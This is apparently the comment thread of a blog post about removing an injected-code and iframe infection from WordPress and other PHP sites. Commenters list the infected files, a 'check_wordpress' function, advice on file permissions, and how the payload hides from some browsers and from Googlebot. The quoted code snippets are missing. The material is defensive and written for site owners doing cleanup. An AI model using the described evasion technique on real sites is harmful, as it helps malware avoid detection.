    When I opened the file I immediately wondered about the horizontal scroll bar which looked a bit off considering the code. So it was conceiled by being placed in one long line with far right.

  • Thanks for the info, my site was also infected. Was able to fix it quickly. Affected files were wp-config, wp-settings, index (although the last one, was clean, but showed a new changes date). The function injected in wp-setting was “check_wordpress”. All my permission are fine (644 files,444 for wp-config.php and 755 for dirs). I had a timthumb script (not sure if it was affected by the virus) too. Would love to know how do that virus is getting on wordpress installs…

  • Thank you for such helpfull information… It’s help me to solve my problem …

    • I was tired las evening and I forgot to say that in index.php I had the following code injected:


      So please check your index.php file also.

      I think the best solution is to replace all of your WP files with the original ones, except wp-content of course …

      • You still need to check your permissions on your files. That one is much easier to find since it has actual code injected you could do a search for.

        • I checked permissions and what was intriguing was the fact that all are 755 …

          • Try 644 for files you don’t need modified. This has been what has prevented any further issues for us. Once we change them to 755 we almost get immediatly attacked.

  • Alex

    I had the same problem on one of my websites, and was able to proceed to removing the problem thanks to your explanation. My function was ‘check_wordpress’, located in the wp-settings.php file. I also found a trace in the revisions-js.php, but I couldn’t say what it means.

    However, now I have a file that I can edit in my editor :


    The content is : loch (hole, in german)

    Any idea what this could be? Can I dismiss it ?

    Thanks again for your good and detailed analysis and solution!


    • Sorry, I have no ideea about that.
      Today, Google un-blacklisted mys site, so it seems that everything is fine.
      But now I am suspicious about the integrity of the Elegant Themes`s themes.

      • This issue can effect any type of PHP site, not just wordpress, and not just Elegant Themes. This has to do with some sort of Server Vulnerability I have yet to be able to uncover. It could have been just as simple as bad permissions on the server, but it is not specific to any platform. I have seen reports of it being installed on Joomla, Drupal and even PHPBB and other PHP based forum software.

    • I wonder if the name of that file is encrypted itself, should try running it through base64_decode PHP function

  • Thank you very much for this article ! I have had the same issue, with a WordPress theme that’s not coming from Elegant (probably this massive timthumb.php script injection).

    I couldn’t even log into my WordPress admin. I re-installed WP but now I still can’t modify my pages, very annoying issue. I’m on it since last friday :-/

    • Curious if you ever resolved you issue, I know its been like 8 months lol.

  • David Pilia

    Hi, probably my Joomla’s site is also infected by this iframe injection… I’m searching for a solution. Thank’s a lot for your great article.

    😉 Sorry for my english!!

    • Let me know if you got that resolved.

  • Hybrid Content

    I had the same issue and resolved it using an external service. IFrame injection removals are easily tackled by using the right code and service.

  • wow!… crazy. I didn’t know the rabbit hole was this deep. I couldn’t log into my WP blog via mobile app (but can via web) and now I stumble upon this.
    Well thank you @GEILT for this. I’ll be notifying my buddy so he can look at all his client sites.

  • anyone know what “” is?
    It’s a line in xmlrpc.php

    And I haven’t quite figured what it is, but when I visit the site (root, not the rsd) and I click on the guys redirect link, google gives ma stern malware site warning.

    • The reason why you are seeing “” in your header is because the PHP that is evaluated, evaluates a javascript string into the head of your document. If your browser doesnt meet the requirements of the virus (requires IE and Fire fox usually), then the javascript removes itself to prevent detection, but leaves a line break or “” usually for some reason. Some versions of the virus even do this for Googlebot to avoid being detected as malware.

      I would assume that a script somewhere in your PHP files is infected, you can use the search that I provided in this blog to search for the offending code and remove it. You need to scan all directories.

      We have encountered a few more versions of these injection attacks and have developed automated search and replace via bash to remove it quickly once identified.

    • Heh, was this post edited? I coulda sworn i read just “” by itself

      RSD is Really Simple Discoverythe spec can be found here: RSD SPECWhat it says is: Really Simple Discovery is a way to help client software find the services needed to read, edit, or “work with” weblogging software.